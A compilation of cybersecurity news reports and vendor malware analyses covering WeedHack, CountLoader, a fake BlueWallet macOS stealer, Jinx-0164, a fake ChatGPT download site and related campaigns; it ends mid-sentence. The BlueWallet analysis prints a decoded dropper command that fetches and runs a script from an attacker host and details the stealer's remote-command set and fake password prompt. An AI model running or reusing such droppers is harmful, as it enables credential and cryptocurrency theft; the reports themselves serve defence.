clients on the host, as well as red-team tools, programming tools, and network services that may interfere with its operation, and terminates them. It does so by deleting binaries and removing their persistence mechanisms, including cron jobs, init scripts, system services, and shell profile entries. After that, it connects to a hardcoded command-and-control (C2) address using a custom multi-stage handshake that includes magic strings and shared secrets, and then awaits commands. The supported commands include heartbeat checks, starting and stopping scans, and launching DDoS attacks using one of the 19 supported methods. The general recommendation for defending against C0XMO and other botnet malware is to keep devices up to date, use unique admin credentials, and disable remote access capabilities when not needed. Fortinet describes C0XMO as having "a considerably more advanced architecture and feature set compared to earlier IoT botnets." The researchers note that the overall design of the malware indicates "a greater degree of operational sophistication and complexity than typical Gafgyt malware." Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Malware campaign targeting Minecraft users infects over 116,000 systems A Malware-as-a-Service (MaaS) operation named WeedHack is targeting Minecraft users and allows threat actors to gain remote access to victims’ screens, webcams, and files through a web-based dashboard, McAfee researchers found. Minecraft, developed by Mojang Studios and released in 2011, is one of the best-selling video games of all time, with more than 350 million copies sold worldwide. Since January 2026, the campaign has infected more than 116,000 systems and continues to add between 2,000 and 3,000 new infections per day. “We’ve discovered over 3,820 unique malicious JAR files that are part of this attack and over 240 URLs responsible for distributing this malware,” researchers said. The United States accounted for the largest share of WeedHack infections, followed by Germany, India, the United Kingdom, Italy, Vietnam, Canada, Norway, Sweden, Finland, and Spain. YouTube spreading and SEO poisoning The WeedHack campaign relies on YouTube-driven distribution and SEO poisoning to reach victims. On YouTube, attackers promote Minecraft mods, clients, and utilities through videos containing download links in descriptions and comments. Some well-made videos feature voice-over narration and have attracted more than 7,500 views. YouTube video promoting malicious Minecraft Mods (Source: McAfee) “WeedHack targets Minecraft clients and mods without an official website that are hosted exclusively on file hosting websites like GitHub and specifically select mods with unique names, so it is easier to dominate search engine results,” McAfee explained. Lowering the barrier to entry What sets WeedHack apart from other malware campaigns is how accessible it is. The platform is hosted on the clear web and provides access to sophisticated malware for free. Researchers noted that MaaS offerings such as Lumma Stealer and X-Worm typically cost hundreds of dollars per month or require lifetime subscriptions purchased through underground forums, dark web marketplaces, or Telegram channels. WeedHack offers the malware for free, with premium features starting at $5 per month and lifetime access available for $24.99. The free tier includes an infostealer that targets Minecraft session IDs and four Minecraft launchers, collects system information, and steals cookies and passwords from 36 browsers. It also targets 56 browser-based cryptocurrency wallets and 12 desktop cryptocurrency wallets, along with Discord, Steam, and Telegram credentials. The malware can search infected systems using 24 predefined keywords and capture screenshots from compromised devices. Premium subscriptions unlock remote-access capabilities including webcam access, keystroke logging, reverse shell execution, screen sharing with keyboard and mouse control, and tools for uploading and downloading files. Tools, tutorials, and infection tracking At the center of the operation is a web-based dashboard that gives customers access to data collected from compromised systems. Victim profiles contain screenshots, system information, IP addresses, usernames, computer names, and harvested credentials, while a separate section tracks Minecraft session hits used for account hijacking. The platform includes a payload builder capable of injecting malware into legitimate Minecraft mods targeting versions 1.21.0 through 1.21.11. Users can also view all-time and 24-hour infection statistics through a leaderboard refreshed every 10 minutes. Documentation available through the portal covers malware distribution, operational security practices, remote-access features, stolen credentials, VPN and proxy services, and troubleshooting. A suggestions page allows users to submit feature requests and vote on proposed additions, including ransomware functionality, microphone access, and support for additional Minecraft clients. Beyond account theft and credential harvesting, the platform appears to have fueled cyberbullying. The operation’s Telegram channel attracted more than 850 members, with activity indicating that teenagers and young adults were using WeedHack’s remote-access tools to monitor, threaten, and harass victims. McAfee advises users to be cautious of recently uploaded YouTube videos promoting Minecraft tools, downloads hosted outside official websites, and requests to disable antivirus software before installation.

Cybersecurity researchers have flagged a new campaign targeting Minecraft players via YouTube to spread malware capable of gaining control of victims' systems. The Minecraft-focused malware-as-a-service (MaaS) campaign has been codenamed Weedhack by McAfee Labs, stating the activity has been active since January 2026 and impersonates Minecraft clients and mods to infect users. In all, 3820 unique malicious JAR files and over 240 URLs responsible for distributing the malware have been identified. "This campaign utilizes SEO poisoning and YouTube to generate traffic to these malicious URLs," security researcher Aayush Tyagi said. "We also found two YouTube channels and multiple videos that demonstrate Minecraft Mods and Clients and redirect viewers to these URLs." Central to the campaign is an enterprise-grade dashboard ("weedhack[.]to") that enables customers to view stolen credentials and system information, as well as remotely keep tabs on the compromised systems. Furthermore, it allows criminals to create custom payloads that can target Minecraft versions 1.21.0 to 1.21.11, not to mention inject the malware into legitimate Minecraft mods. The starting point of the attack is a malicious JAR file ("DonutDupe.jar") downloaded from the malicious websites. The file then retrieves details of the command-and-control (C2) server domain using a known technique called EtherHiding, which employs the Ethereum blockchain as a dead drop resolver. In the next stage, the malware contacts the C2 server to fetch another Java-based JAR payload ("Elevator.jar") that collects system information, configures Microsoft Defender exclusions, and serves as a conduit for dropping two additional JAR payloads. The third JAR payload ("SecurityManager.jar") establishes persistence and acts as a stager for the final component ("Component.jar") that deploys the remote access features. The threat actors behind the tooling leverage a Telegram channel to advertise their warez, broadcast updates, and provide customer support. The channel has more than 850 members. The tool, for its part, comes in two tiers - Free, which includes a comprehensive infostealer that can target Minecraft session IDs and four Minecraft launchers; capture screenshots; and harvest files, system information, cookies, and passwords from 36 different web browsers, data from 56 browser-based cryptocurrency wallets and 12 desktop wallet apps, and credentials for Discord, Steam, and Telegram. Premium, which starts at $4.99 per month (or $24.99 for a lifetime license) and offers additional remote access capabilities, such as webcam access, keylogging, reverse shell execution, screen sharing with keyboard and mouse access, and file uploads and downloads. Attack chains revolve around SEO poisoning and YouTube videos containing descriptions that embed links to malicious Minecraft Clients to target unsuspecting users. The majority of Weedhack infections have been identified in the U.S., followed by Germany, India, the U.K., Italy, Vietnam, Canada, Norway, Sweden, Finland, and Spain. "One of the key features that makes Weedhack unique is that it is hosted on the clear net and provides access to sophisticated malware for free," Tyagi said. "This difference in cost and ease of access with detailed tutorials on how to use the malware significantly reduces the barrier to entry for prospective customers. Furthermore, its ability to steal Minecraft accounts attracts a younger audience. Both of these factors complement each other and make the campaign much more lethal." McAfee Labs said it has also observed the malware acting as a trigger for cyberbullying, where the customers, who appear to be teenagers and young adults, are weaponizing its remote access capabilities to threaten, harass, and monitor their victims. They have found a way to record victims via their webcams and shared the videos on the Telegram channel as "trophies." CountLoader Delivers Crypto Clipper The disclosure comes as the cybersecurity company shed light on a large-scale CountLoader campaign that's estimated to have compromised 86,000 unique machines. CountLoader is a JavaScript loader that's typically distributed via cracked software distribution sites. It's known to deploy various payloads like Cobalt Strike, AdaptixC2, PureHVNC RAT, Amatera Stealer, and PureMiner. Of these compromises, approximately 9,000 infections are said to have resulted from the malware spreading via USB drives and removable media. McAfee Labs said the highest number of infections was observed in India, followed by Indonesia, the U.S., and several countries across Southeast Asia, adding it was able to successfully sinkhole the malware communication infrastructure by registering a fake C2 domain. "The infection begins when an EXE file is executed," the company said. "This file launches a PowerShell command, which downloads and executes an obfuscated JavaScript loader known as CountLoader. The loader is executed using 'mshta.exe.'" Once executed, CountLoader sets up persistence, communicates with the C2 server, attempts to spread via USB drives, and awaits further instructions from the C2 server to download and execute payloads. The final payload deployed in the latest set of attacks is a cryptocurrency clipper malware that hijacks clipboard content to redirect cryptocurrency transactions. Pirated Content Leads to Cryptocurrency Miners The findings also follow the discovery of a years-long campaign that has used illegal movie and TV show streaming sites to distribute a cryptocurrency miner under the guise of a fake update for a video player plugin. The bogus update downloads a ZIP archive, which then uses DLL side-loading to drop a fork of SilentCryptoMiner. The malware is equipped with a wide range of capabilities - Configure Defender exclusions, terminate Microsoft's Malicious Software Removal Tool, and disable automatic hibernation and sleep mode to maximize the miner's potential runtime on the device. Repeatedly trigger User Account Control (UAC) prompts until the process is successfully executed with elevated privileges. Initiate a watchdog component that ensures the uninterrupted operation of the miner. Run a RAT agent that provides remote control capabilities, including running arbitrary commands, launching EXE files using "explorer.exe," and running shellcode. Launch an XMRig-based CPU and a GPU miner. "The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context," Kaspersky said. "The library contained the logic for deploying the miner and establishing persistence on the device." It's assessed that the activity is a continuation of a campaign that was documented by NTT Security in April 2023, which used fake browser crash warnings to drop a cryptocurrency miner. "The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms," Kaspersky said. "There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk." Update In a new analysis published on June 24, 2026, Dark Atlas revealed that Weedhack started off as a "private, targeted credential stealer" under the name Majanito in late 2025, and it underwent a change in ownership and branding in early 2026. Over 116,000 endpoints have been compromised between January and June 2026. It's tracking the first-stage JAR payload under the name LoaderClient. "On execution, the malware harvests the victim’s Minecraft session including display name, account UUID, and live Microsoft OAuth access token, then queries an Ethereum smart contract to resolve its C2 URL, downloads a second-stage payload, and executes it entirely in memory," the company said. "The Weedhack campaign represents a convergence of consumer-grade malware, blockchain infrastructure abuse, and the unregulated ecosystem of third-party game modifications."

A large-scale malware campaign dubbed WeedHack is targeting Minecraft players and has infected more than 116,000 systems since January. The malware is distributed through Minecraft-related malicious mods, clients, cheats, and utilities that are promoted over YouTube and SEO (search engine optimization) poisoning. WeedHack works as a malware-as-a-service (MaaS) infostealer operation that offers a dashboard for customers to see stolen credentials and information on compromised systems. Telemetry data from cybersecurity company McAfee shows that WeedHack has impacted 116,464 systems, averaging between 2,000 and 3,000 infections every day. Most victims are in the United States, Germany, India, and the UK. The scale of the operation is reflected in the more than 240 distribution URLs and 3,820 unique malicious JAR files. WeedHack malware distribution In a report today, McAfee researchers say that the WeedHack campaign reaches victims mainly through YouTube videos showcasing Minecraft-related tools and SEO poisoning promoting them. On the video platform, the attacker drops download links in descriptions and comments. Some of the videos are well-made, featuring voice-over narration for authenticity, and have accumulated more than 7,500 views. The SEO poisoning distribution method targets keywords that correspond to clients: Meteor Client, Radium Client, Wurst Client, Aristois, LiquidBounce, Impact Client, Future Client, Inertia Client, Cornos Client, WWE Client, 3arthh4ck, Salhack, Phobos, and Gamesense. McAfee explains that many of those projects do not have official websites, only GitHub pages. In one case highlighted in the report, the malicious website displays a security notice warning visitors that they should only download ‘Skytils’ from the official site. It is even linking to the project’s legitimate GitHub repository and Discord server to create a strong, false sense of legitimacy for the fake website. MaaS operation The WeedHack malware platform is hosted on the clear net and provides access to anyone for free, which is very unusual for infostealer operations. Users are given access to a dashboard that shows an overview of their victims, infected system profiles, stolen data, and a payload builder for Minecraft versions 1.21.0 through 1.21.10. The free tier stealer targets Minecraft session ID theft, cookies, and saved passwords across 36 browsers, 56 cryptocurrency add-ons, 12 desktop cryptocurrency wallet apps, Discord, Steam, and Telegram credentials, and can capture screenshots. WeedHack also offers a premium tier for $5/month, or a lifetime one-time purchase of $24.99, that adds remote control with input access (mouse and keyboard), webcam access, keylogger, remote shell, and remote file management. The project’s Telegram channel has over 800 members, and McAfee says that many of the clients appear to be teenagers or young adults who use WeedHack’s remote access tools to harass their victims. Minecraft players should only trust mods from official project sources, verify download links, and treat JAR files hosted on dubious sites with caution. For those looking to extend their playing experience, the in-game Minecraft Marketplace is the safest option. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

A fake website impersonating BlueWallet (a real Bitcoin wallet) is targeting Mac users with a simple but effective attack. BlueWallet itself has not been compromised. Instead, cybercriminals have stolen the name and branding of the legitimate Bitcoin wallet to make a malicious download appear trustworthy. If you went looking for a cryptocurrency wallet and landed on one of these fake BlueWallet download pages, the site tried to trick you into opening a downloaded file in a built-in macOS tool and pressing “Run.” If you followed those instructions, the malware could steal saved passwords, browser logins, cryptocurrency wallets, documents, and other sensitive data. It also watches the clipboard for cryptocurrency wallet addresses and can replace them with attacker-controlled addresses.. That last feature is particularly dangerous. If you copy a wallet address before sending funds, the malware can silently replace it with the attacker’s address. Everything looks normal on screen, but the money goes somewhere else. Should you worry? Only if you downloaded and ran the file. Simply visiting the page and closing it does nothing on its own. The attack depends entirely on the user opening the script and pressing play. If you did run it, treat the machine as compromised and follow the steps below. What to do if you may have run it If you opened the file and pressed play, assume your device was compromised and work through these steps: Disconnect the machine from the network to cut the control channel Run a full scan of the device, and make sure you’re using up-to-date security software with web protection enabled From a different, trusted device, change passwords for any accounts used on the Mac, starting with email and cryptocurrency exchanges Move any cryptocurrency to a new wallet created on a clean device Treat existing seed phrases and keys as exposed Before sending crypto in future, verify the full destination address character by character Check for and remove unfamiliar files in ~/Library/LaunchAgents Look for a hidden .sysupd.sh file in/tmp Rotate cloud and SSH credentials if .ssh ,.aws , or.gnupg files were present on the machine When in doubt, back up your data and reinstall macOS from a known-good source rather than trying to clean in place Picked up something you shouldn’t have? Social engineering tricks The most interesting part of this campaign isn’t technical. The attackers didn’t break into the Mac or bypass Apple’s security protections. They persuaded victims to run the malware themselves. The fake website walks users through the process with a convincing download page, simple instructions, and even a keyboard shortcut. The attack succeeds because the victim trusts what they are seeing. As operating systems get better at blocking malicious software, attackers are increasingly investing in social engineering. Instead of finding ways around security controls, they convince people to click through them. That’s why one habit is becoming increasingly important: Be suspicious of any download that arrives with instructions to open it in a scripting tool, developer utility, or Terminal window and press “Run.” In this campaign, a single press of ⌘R was enough to turn a Mac into a password stealer, cryptocurrency wallet thief, clipboard hijacker, and remote access tool. Technical analysis Stage one: The AppleScript downloader The page lives at update-bluewallet[.]com, a domain name close enough to the real wallet (bluewallet.io) to pass a quick glance. The first thing the page does is not wait for consent. Its script calls a download routine on a two-second timer the moment the page loads, and again if the visitor clicks either of two buttons. The file that lands in the Downloads folder is named BlueWallet Installer.applescript, an extension most people have never seen and have no instinct to distrust. Then the page does something quietly clever. After a short delay, it rewrites its own status text to read like setup instructions: open the installer, then press the play button or ⌘R. It even draws a small blue play triangle in the text so the wording matches the real Script Editor interface the victim is about to see. The page walks the victim through the exact motions needed to run the file. On modern macOS, an unsigned application downloaded from the web gets quarantined and checked before it can run. A plain script opened in Script Editor and executed by the user sidesteps that flow. The person is manually instructing a trusted Apple tool to run code, so there is no notarization gate to fail. This is why the attacker chose an AppleScript instead of a packaged app: it moves the risky action out of the operating system’s hands and into the victim’s. The AppleScript itself is remarkably short. Stripped of its decorative comments, including a fake version number and a line claiming to be a “Brew Install Upgrade,” it runs a single base64-encoded shell command and then tells Script Editor to quit without saving, removing the evidence from view. Decoded, that command does this: curl -s 'https://projects2026box[.]com/serve_site/confighelper_0adfeee8.sh' -o /tmp/.sysupd.sh && chmod +x /tmp/.sysupd.sh && /tmp/.sysupd.sh >/dev/null 2>&1 & It fetches a second script from a remote host, saves it to a hidden file in the temp directory, makes it executable, and runs it in the background with all output suppressed. The victim sees nothing. The filename .sysupd.sh is dressed up to look like a system update. This is a textbook staged dropper: stage one is tiny and disposable, and its only job is to fetch the real payload. Stage two: Payload analysis The first lines establish how the malware intends to operate. It sets umask 077 so everything it creates is readable only by the compromised user, then builds a hidden, randomly named working directory under /tmp seeded from /dev/urandom. Its configuration is obfuscated, but weakly. A small function named _xd walks a hex string two characters at a time and XORs each byte against a hardcoded repeating key: swckR9JCD2Uu. That function decodes the script’s Telegram bot token, chat identifier, secondary command token, and staging URL at runtime. It is enough to defeat tools that only search for plaintext strings, but not much more. Because the key and algorithm are both sitting in the file, every encoded value is fully recoverable. One detail stands out: The decoded Telegram chat value and decoded command-and-control chat value are identical. The attacker is using a single Telegram channel as both the exfiltration drop and the control channel. It is cheap, scalable, encrypted, and blends into ordinary HTTPS traffic. Not everything is obfuscated. The clipboard-hijacking addresses are sitting in the file in plain text: a Bitcoin address, an Ethereum address, and a Solana address. These are the addresses the implant swaps in when it catches you copying a wallet address. Because they are public on their respective blockchains, they are also among the most useful artifacts in the whole sample. What the malware steals The second stage’s collection routines are sweeping. They pull from six broad categories. 1. Web browsers The script extracts history, cookies, login data, and bookmarks from a wide range of browsers, including: Chromium-based browsers: Google Chrome Stable, Beta, Canary, and Dev; Brave; Microsoft Edge; Vivaldi; Opera; Opera GX; Arc; Chromium; Coccoc; and Yandex Firefox-based browsers: Firefox, Waterfox, Pale Moon, Zen, and LibreWolf macOS native browser data: Safari cookies, history, and form values 2. Cryptocurrency wallets This appears to be the script’s primary focus. It targets desktop wallet applications including Electrum, Electrum-LTC, Exodus, Atomic Wallet, Ledger Live, Trezor Suite, Bitcoin Core, Litecoin Core, DashCore, Dogecoin Core, Coinomi, Monero, Sparrow, Armory, BlueWallet, Zengo, Trust Wallet, Binance Desktop, and Tonkeeper. It also targets browser-extension wallets across several ecosystems: Bitcoin: Xverse, Leather, UniSat, Alby, and Wizz Solana: Phantom, Solflare, Backpack, Nightly, MagicEden, Sollet, and Slope EVM wallets: MetaMask, Trust Wallet, OKX, Coinbase Wallet, Rabby, Zerion, Rainbow, SafePal, Bitget, Ronin, and XDEFI Cosmos: Keplr, Station, and Cosmostation Other ecosystems: Yoroi, Lace, Petra, Martian, Suiet, Talisman, SubWallet, Braavos, and Temple 3. Password managers and security tools The malware targets local storage and settings for several password managers, including LastPass, 1Password, Dashlane, Bitwarden, Keeper, RoboForm, NordPass, Enpass, StickyPassword, TrueKey, Passbolt, and Buttercup. It also looks for data associated with 2FA and authenticator tools, including Google Authenticator, Authy, Duo, Microsoft Authenticator, 2FAS, and FreeOTP. 4. Communication and social apps The script attempts to copy session data and local storage for Telegram Desktop and Discord, including Discord Canary and Discord PTB. 5. Developer and cloud tools It looks for credentials and configuration files in the user’s home directory, including: AWS CLI configurations in .aws SSH keys in .ssh GnuPG keys in .gnupg Kubernetes configs in .kube Shell and Git files including .zshrc ,.zsh_history ,.bash_history , and.gitconfig 6. Productivity apps and general files The script copies the local Apple Notes database, NoteStore.sqlite. It also looks for browser-extension data related to shopping and productivity tools, including Honey, CapitalOne Shopping, Rakuten, CamelCamelCamel, Grammarly, Evernote, Notion Clipper, Todoist, and Google Keep. Finally, it scans Desktop, Documents, and Downloads for files with extensions including .txt, .pdf, .docx, .doc, .rtf, .wallet, .key, .keys, .seed, .kdbx, .pem, and .env, under a size cap. What it does with the stolen data The malware tries to capture the user’s account password directly. An osascript dialog titled “System Preferences” asks the user to re-enter their password “to continue.” The script validates each attempt against dscl . authonly before saving it, so it only stops once it has a working credential. For exfiltration, it archives the staged data with macOS’s own ditto, likely because it is always present, unlike zip. To stay under Telegram’s 50 MB upload limit, it breaks larger archives into 49 MB chunks with split before sending each part. It establishes persistence by writing a LaunchAgent plist into the user’s ~/Library/LaunchAgents, backed by a hidden support directory, and loading it with launchctl so the implant runs again at every login. The clipboard hijack is a live background loop. A clip_watch function continuously inspects the clipboard, matches Bitcoin, Ethereum, and Solana address formats by regex, reports the original address to the command-and-control channel, and overwrites the clipboard with the attacker’s address via pbcopy. That means the substitution happens silently between copy and paste. Finally, the malware can be controlled interactively. A c2_loop polls the Telegram bot for commands and supports a full operator toolkit: /info for system details /exec for arbitrary shell commands /clipboard to read current clipboard contents /download to pull specific files /exfil to rerun the theft module /selfdestruct to wipe traces This makes the Telegram channel a real-time remote-control link, not just a one-way drop. Living off the land, and off Telegram The pattern here is familiar and getting more common: lean on tools that are already trusted. The delivery abuses Apple’s own Script Editor. The configuration hides behind a trivial XOR rather than packed binaries. The command channel rides Telegram’s Bot API, which can pass through egress filters that would flag an unknown server. None of these pieces is novel on its own. The effectiveness comes from stacking legitimate-looking components so no single step trips an alarm. Detection opportunities The lessons here are less about the lure and more about the technique itself. Script Editor executing a one-line base64 do shell script that immediately quits is a strong behavioral signal, and a far better detection target than the disposable stage-one file. So is a hidden /tmp/.sysupd.sh downloaded by curl and launched in the background. Browsers and download surfaces could treat .applescript files arriving from the web with the same suspicion as executables. And Telegram remains an under-addressed command-and-control medium that bot-token abuse reporting could disrupt at the source. Indicators of Compromise File hashes (SHA-256) 216277bdb7998b48852024fc8b5853c3dc50b3857fd22afd1320b884bcaa0a61 (BlueWallet Installer.applescript ) Network indicators update-bluewallet[.]com projects2026box[.]com Clipboard-hijack addresses BTC: bc1qrmj4ggshddhnxx3rxwvsu8pe9ut6cgx8mx364e ETH: 0x2B871703122064e45d77146a6D5203da3bD192FA SOL: 8dtdRQePrKz97FszwMEa4QvptdAAcbAFs7kBojr5Mz3v From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

A Google security engineer was charged with insider trading after winning $1.2 million using confidential company data to place bets on the cryptocurrency-based Polymarket decentralized prediction market. 36-year-old Michele Spagnuolo, an Italian citizen residing in Switzerland and a Google employee since 2014, appeared on Wednesday in the Southern District of New York. In parallel, the Commodity Futures Trading Commission (CFTC) filed a separate civil complaint the same day, seeking restitution, disgorgement, civil monetary penalties, and trading and registration bans. According to the criminal complaint, throughout this scheme, Spagnuolo used his access to an internal software tool containing confidential "Year in Search" data (Google's annual ranking of top trending search terms), which was marked with a "Google Confidential" banner in red text. Beginning in October 2025, Spagnuolo allegedly used a Polymarket account under the alias "AlphaRaccoon" to bet on whether specific individuals would appear on Google's top trending search lists. He also allegedly used confidential data from Google's internal data tool and placed bets with near-perfect accuracy across approximately 25 unlikely outcomes, while risking roughly $2.75 million in total. After Google publicly announced its Year in Search results on December 4, 2025, Spagnuolo's AlphaRaccoon Polymarket account collected approximately $1.2 million in USDC.e winnings. "From on or about December 4, 2025 through on or about December 10, 2025, when the Polymarket markets regarding Google's Year in Search resolved, the software released approximately 3,914,362 million USDC.e to the AlphaRaccoon Polymarket account. On or about December 10, 2025, the AlphaRaccoon Polymarket account sent approximately 5.045 million USDC.e, to Wallet-0xAf6," the complaint reads. The FBI traced the AlphaRaccoon account to a payment processor account registered in Spagnuolo's name and linked to an Italian government identification card. After online communities on Discord and X began speculating that AlphaRaccoon was a Google insider, the username was removed from the account, reverting it to an alphanumeric wallet address. Prosecutors said that Spagnuolo subsequently moved the illegal proceeds through multiple cryptocurrency-swapping services, including one that removes wallet addresses from the blockchain. "Today's charges reinforce a decades-old message: corporate insiders cannot use confidential business information to turn a profit in our markets," said U.S. Attorney Jay Clayton. "As alleged, Spagnuolo violated the duties he owed to his employer and used Google's confidential business information to make more than $1.2 million in trading profits on Polymarket." "Employees who are entrusted with confidential business information cannot misappropriate that information for personal financial gain," added CFTC Director of Enforcement David I. Miller. Spagnuolo now faces a maximum of 10 years in prison on a commodities fraud count and 20 years each on wire fraud and money laundering counts. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

A previously unreported threat actor has been observed targeting cryptocurrency firms with custom macOS malware, fake recruiter approaches and the hijacking of internal development pipelines. Wiz has attributed the activity to a financially motivated cluster, now tracked as Jinx-0164, according to new analysis from the company. Active since at least mid-2025 and focused almost entirely on macOS, the actor shares techniques with North Korean groups such as UNC1069, also known as Sleet. However, it implements these techniques differently and shows no infrastructure overlap with tracked actors. Wiz stopped short of linking it to any state-sponsored threat actor. Fake Meetings and a Cloned Audio Driver The intrusions typically begin on LinkedIn, where the attacker poses as a business contact or recruiter using a credible profile. The target is invited to a virtual meeting on a lookalike domain impersonating a service such as Microsoft Teams. Joining the call triggers a fake technical fault and a prompt to run a "fix," which installs the malware. The payload, a Python-based stealer and remote access tool named Audiofix, masquerades as a system audio driver and runs on both Intel and Apple Silicon machines. Audiofix harvests Keychain contents, browser credentials, SSH keys, cloud provider keys and details from 51 cryptocurrency wallet extensions. It also hijacks Discord, Slack and Telegram sessions and monitors the clipboard for copied wallet addresses. From Laptops to Code Pipelines Rather than pivoting into cloud accounts, Jinx-0164 turned harvested GitHub tokens against the victim's development infrastructure, using the open-source tool nord-stream to pull secrets from CI/CD pipelines. It then injected Audiofix into internal repositories, disguising commits under other developers' names and pushing them to main or existing branches. When colleagues built from the poisoned repositories, their machines were infected too, turning the build process into a propagation channel. Wiz said GitHub's Vigilant Mode, which flags unverified commits, helped expose the impersonation and halt the spread. The group's reach has extended beyond direct intrusions. On April 7, it trojanized version 4.9.1 of the npm package @velora-dex/sdk, a widely used decentralized exchange toolkit, appending code that fetched a second macOS backdoor called MINIRAT. The recruitment-themed lure is itself well established among crypto-focused attackers, echoing earlier campaigns by groups such as Slow Pisces. Wiz urged defenders to watch for the published indicators of compromise, unexpected use of VPN services including Mullvad, Astrill and ExpressVPN, and secret exfiltration from CI/CD workflows. It also advised enabling logs that are off by default, such as GitHub IP logging, and treating unverified commits as suspect. Image credit: alexgo.photography / Shutterstock.com

A convincing fake website is impersonating OpenAI’s ChatGPT download page and infecting visitors with malware designed to steal passwords, browser data, cryptocurrency wallets, and other sensitive information. The site, openew[.]app, closely mimics OpenAI’s real ChatGPT download experience and offers what appear to be official desktop apps for both Windows and macOS. Instead, Windows users receive a credential-stealing malware loader, while Mac users get Odyssey Stealer, a fork of Atomic Stealer (AMOS), a well-known macOS malware family associated with cryptocurrency theft. The dual-platform setup is what makes the operation notable. Clicking the Windows download delivers a fake installer that opens a back channel to an attacker-controlled server. Clicking the macOS button delivers malware that steals browser passwords, cookies, Telegram sessions, cryptocurrency wallets, and other sensitive files. It also attempts to replace legitimate Ledger and Trezor wallet apps with trojanized versions. If you only download ChatGPT from OpenAI’s official download page or the Microsoft Store, you were not the target here. But if you searched for “ChatGPT download” and clicked an ad or unfamiliar result, you may have given attackers access to your online accounts, browser sessions, saved passwords, and potentially your cryptocurrency holdings. Malwarebytes protects users from this malware. Technical analysis The domain, openew[.]app, closely resembles OpenAI’s real ChatGPT download experience. It uses a dark theme, OpenAI-style branding, familiar marketing copy, and prominent download buttons for macOS and Windows. The .app top-level domain is operated by Google and requires HTTPS connections, meaning browsers display the familiar padlock icon without obvious certificate warnings. The most important detail is the dual-platform setup. Real software vendors provide separate installers for Windows and macOS, and this fake site does exactly the same thing. Clicking the Windows button delivers Chat_GPT.exe, while clicking the macOS button downloads a disk image containing ChatGpt.dmg. The Windows malware Chat_GPT.exe is built almost entirely from off-the-shelf parts. The installer uses Inno Setup, a free open-source toolkit used by thousands of legitimate Windows products. Inside is an Electron application skeleton—the same Chromium-based framework used by apps like Slack and Discord—bundled with standard support libraries publicly available from the Electron project. When the victim runs the installer, it creates files under %APPDATA%\LeronApplication, launches EApp.exe, and spawns PowerShell with the flags -ExecutionPolicy Unrestricted -Command -. The trailing dash tells PowerShell to read commands from standard input, meaning the malicious instructions never touch the disk where scanners might detect them. Behavioral telemetry recorded HTTP traffic to 188.137.246.189 using a /laravel.php?api=api&hash=...&message=... endpoint, alongside injection-like activity and service/autorun persistence signals. Nine of 69 antivirus engines flagged the file as malicious at the time of analysis. The persistence evidence is better read as behavioral tradecraft than proof of a durable install, but the overall pattern is familiar commodity stealer/dropper territory: cheap, modular, and effective rather than technically novel. The macOS malware: Odyssey Stealer (an AMOS fork) The macOS payload sits at the premium end of the commodity-malware market. It’s Odyssey, which is a fork of the renowned AMOS, a malware-as-a-service platform documented since 2023. The identification is fairly clear-cut. The sandboxed sample matches documented Odyssey behavior patterns, which are inherited from its AMOS lineage: a long AppleScript chain passed to the macOS scripting engine, a silent password validation attempt using macOS directory-service commands, and, if that silent check fails, a fake macOS-style prompt reading “Please enter device password to continue,” complete with the familiar lock icon. Whatever the user types is validated against the same command. If it matches, the malware captures the user’s login password in cleartext. From there, it follows a familiar Odyssey/AMOS-fork playbook. It copies the macOS keychain, harvests cookies and saved logins from 12 Chromium-based browsers plus Firefox and Waterfox, and extracts Telegram session data. It also scans 16 cryptocurrency wallet directories, including Ledger Live, Trezor Suite, Exodus, Electrum, and Sparrow. Finally, it searches Desktop and Documents folders for files with extensions like .wallet, .seed, .key, and .kdbx. The collected data is compressed into a temporary archive and sent to a hardcoded server. The wallet replacement feature is especially dangerous There’s one more part of the macOS payload, and it’s likely the feature that justifies the price tag. After the initial data theft, the script downloads trojanized versions of Ledger Live, Ledger Wallet, and Trezor Suite from a second server. It then attempts to delete the legitimate wallet apps and replace them with the attacker’s versions. If the user’s password was captured earlier in the attack chain, the script uses sudo to force the replacement. If not, it falls back to a standard rm -rf deletion attempt, which can still succeed if the apps are installed in a user-writable location. Either way, the next time the victim opens what appears to be their wallet software, they may actually be launching the attacker’s replacement. This wallet-replacement behavior is a hallmark of the Poseidon/Odyssey branch of the AMOS family and makes cryptocurrency theft the most likely goal. What the operation cost to build This is where the AI angle becomes interesting, because the Windows and macOS sides of the operation sit at very different price points. The domain openew.app probably cost the operators around $15 a year through a normal registrar. The .app domain requires HTTPS by default, making it easy for operators to present the reassuring browser padlock users associate with legitimate websites. The landing page itself is simply a copy of OpenAI’s real download page, something modern cloning tools can reproduce in minutes. On the Windows side, most of the tools are cheap or free. Inno Setup is free. Electron is free. The Chromium support files are public downloads. The server infrastructure appears to rely on low-cost commodity malware tooling and a basic VPS that could cost only a few dollars a month. Altogether, the Windows side of this operation could plausibly have cost under $100 to set up initially. The macOS side is very different. Odyssey has reportedly rented for around $3,000 per month, paid in cryptocurrency. By comparison, Lumma—a popular Windows infostealer often treated as a similar product—has historically advertised entry tiers around $250 per month. That price gap says a lot. The operators clearly believe a successful Mac infection is worth much more money than a typical Windows infection. The likely reason is simple: Odyssey is designed specifically for cryptocurrency theft, including the wallet-replacement behavior seen in this campaign. The operators are betting that a meaningful number of Mac users hold cryptocurrency. Getting victims to the site is probably the only major ongoing cost, and that’s where the AI branding becomes valuable. Search ads, SEO poisoning, YouTube spam, and links shared in AI-focused Discord and Telegram communities can all drive traffic to fake download pages. Some of those channels cost money. Others are almost free. Why attackers are going after AI brands Most established software already has trusted download habits built around it. If you want Chrome, you probably know to go to Google. If you want Photoshop, you go to Adobe. People already know where the real download lives. AI tools are different because most users are still installing them for the first time, and that means relying on search results, ads, YouTube links, or social posts to find the download page. That creates an ideal environment for fake sites. Over the 